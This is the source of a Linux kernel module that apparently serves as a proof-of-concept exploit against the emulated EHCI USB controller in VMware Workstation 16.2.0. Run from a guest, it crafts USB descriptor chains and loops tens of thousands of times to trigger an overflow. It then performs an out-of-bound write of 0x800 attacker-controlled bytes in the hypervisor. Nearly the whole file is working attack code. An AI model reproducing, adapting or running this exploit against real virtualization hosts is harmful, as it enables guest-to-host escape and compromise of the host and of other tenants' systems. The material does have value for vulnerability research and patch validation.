#include <linux/module.h>
#include <asm/io.h>
#include <linux/device.h>
#include <linux/pci.h>
#include <linux/virtio.h>
#include <uapi/linux/virtio_ids.h>
#include <linux/types.h>
#include<linux/gfp.h>
// qh->field4 need to be set.
// test on windows vmware workstation 16.2.0, with guest os ubuntu server 22
#define MY_ALIGN(n, m) ((n+m-1)&~(m-1))
static void free_page_below_4gb(void *mem,size_t size) {
free_pages_exact(mem,size);
}
// should not use too big size
static void * alloc_pages_below_4gb(size_t size) {
uint64_t mem_paddr = 0;
uint8_t * mem = NULL;
while (1) {
mem = alloc_pages_exact(size,GFP_ATOMIC|__GFP_ZERO);
if (!mem)
continue;
mem_paddr = (uint64_t)virt_to_phys(mem);
if (mem_paddr < 0xffffffff)
return mem;
free_pages_exact(mem,size);
}
}
/*====================================================Main Loop=============================================================*/
#define EHCI_VENDOR_ID 0x15ad
#define EHCI_DEVICE_ID 0x0770
#define EHCI_DATA_MEM_POOL 4*1024*1024
typedef struct {
uint64_t field0;
uint32_t field8;
uint32_t field12;
uint64_t field16;
uint32_t field24;
uint32_t field28;
}qtd_desc_struct;
typedef struct {
uint32_t field0;
uint32_t field4;
uint32_t field8;
uint32_t field12;
qtd_desc_struct qtd;
// uint64_t field16; // QTD from here
// uint64_t field24;
// uint64_t field32;
// uint64_t field40;
}qh_desc_struct;
// 32 offset High dword
// 40 offset Low dword
static int main_loop(struct pci_dev *pdev){
uint8_t * mmio_mem = NULL;
uint64_t mmio_size = 0;
uint8_t * data_mem = NULL;
qh_desc_struct * qh_desc = NULL;
uint8_t * qtd_list_mem = NULL;
qtd_desc_struct * qtd_desc = NULL;
uint64_t overflow_qtd_times = 0;
uint8_t * pad_mem = NULL;
printk(KERN_ALERT "[%s]: enter main loop\n",__func__);
mmio_mem = (uint8_t *)pci_ioremap_bar(pdev, 0);
mmio_size = pci_resource_len(pdev, 0);
printk(KERN_ALERT "[%s]: ehci mmio_mem: %llx, mmio_size: %llx\n",__func__,(uint64_t)mmio_mem,(uint64_t)mmio_size);
data_mem = alloc_pages_below_4gb(EHCI_DATA_MEM_POOL);
memset(data_mem,0,EHCI_DATA_MEM_POOL);
data_mem = (uint8_t *)MY_ALIGN((uint64_t)data_mem,32);
printk(KERN_ALERT "[%s]: ehci data_mem vaddr: %llx paddr: %llx\n",__func__,(uint64_t)data_mem,(uint64_t)virt_to_phys(data_mem));
*(uint32_t *)(mmio_mem+16) = 0;
qh_desc = (qh_desc_struct *)data_mem;
qh_desc->field0 = (uint64_t)virt_to_phys(qh_desc) & 0xffffffff;
// set b8 array index
// not sure the relationship between index and usb bus id, or device id
// simply test show that this can be set with a device id which device is on the bus 001
qh_desc->field4 = 2;
// set the qtd phyaddr
qh_desc->field12 = 0;
// byte1 for switch case and index
// case 2 for alloc urb packet
// 1 set phyaddr to field 32
qh_desc->qtd.field8 = (2 << 8) | (1 << 12);
qh_desc->qtd.field8 = (0x8 << 16) | qh_desc->qtd.field8;
qh_desc->qtd.field8 = 0x80 | qh_desc->qtd.field8;
qh_desc->qtd.field16 = (uint64_t)virt_to_phys((void *)(qh_desc+1)) & 0xffffffff;
// write buffer will be 0x10 + 0x8 = 0x18
*(uint64_t *)(qh_desc+1) = ((uint64_t)0x10 << 48) | 0x80;
qtd_list_mem = (uint8_t *)MY_ALIGN((uint64_t)(qh_desc+1)+sizeof(uint64_t),32);
qtd_desc = (qtd_desc_struct *)qtd_list_mem;
// qtd mem phyaddr, 0 for exit
qh_desc->qtd.field0 = (uint64_t)virt_to_phys((void *)qtd_desc) & 0xffffffff;
printk(KERN_ALERT "[%s]: ehci qtd_list_mem vaddr: %llx, paddr: %llx\n",__func__,(uint64_t)qtd_list_mem,(uint64_t)virt_to_phys(qtd_list_mem));
// triggle overflow
overflow_qtd_times = 74900;
while (overflow_qtd_times--) {
qtd_desc->field0 = (uint64_t)virt_to_phys(qtd_desc + 1) & 0xffffffff;
qtd_desc->field8 = (1 << 8) | (uint8_t)(-1);
qtd_desc->field8 = (0x7000 << 16) | qtd_desc->field8;
qtd_desc = qtd_desc + 1;
}
// trigle out of bound write
qtd_desc->field0 = 1; // stop it
qtd_desc->field8 = (0 << 8) | (uint8_t)(-1);
// write size 0x800
qtd_desc->field8 = (0x800 << 16) | qtd_desc->field8;
// page num index
qtd_desc->field8 = (0x3 << 12) | qtd_desc->field8;
// page inside offset
qtd_desc->field12 = 0;
pad_mem = (uint8_t *)MY_ALIGN((uint64_t)(qtd_desc+1),0x1000);
memset(pad_mem,'A',0x800);
// page num
qtd_desc->field24 = (uint64_t)virt_to_phys(pad_mem) & 0xffffffff;
*(uint32_t *)(mmio_mem+32) = (uint64_t)virt_to_phys(qh_desc) >> 32;
*(uint32_t *)(mmio_mem+40) = (uint64_t)virt_to_phys(qh_desc) & 0xffffffff;
// *(uint32_t *)(mmio_mem+16) = 0x61;
*(uint32_t *)(mmio_mem+16) = 0x61;
*(uint32_t *)(mmio_mem+16) = 0;
free_page_below_4gb(data_mem,EHCI_DATA_MEM_POOL);
printk(KERN_ALERT "[%s]: exit main loop\n",__func__);
return 0;
}
/*====================================Linux Module Register==========================================================*/
static int pci_module_init(void) {
struct pci_dev *pdev = NULL;
pdev = pci_get_device(EHCI_VENDOR_ID,EHCI_DEVICE_ID,NULL);
if(!pdev){
printk(KERN_ALERT "[%s]: fail to find pdev\n",__func__);
}
// %p output will be hashed
printk(KERN_ALERT "[%s]: find pdev %llx\n",__func__,(uint64_t)pdev);
main_loop(pdev);
return 0;
}
static void pci_module_exit(void) {
printk(KERN_ALERT "[%s]: module exit\n",__func__);
}
MODULE_LICENSE("GPL");
module_init(pci_module_init);
module_exit(pci_module_exit);
暂无评论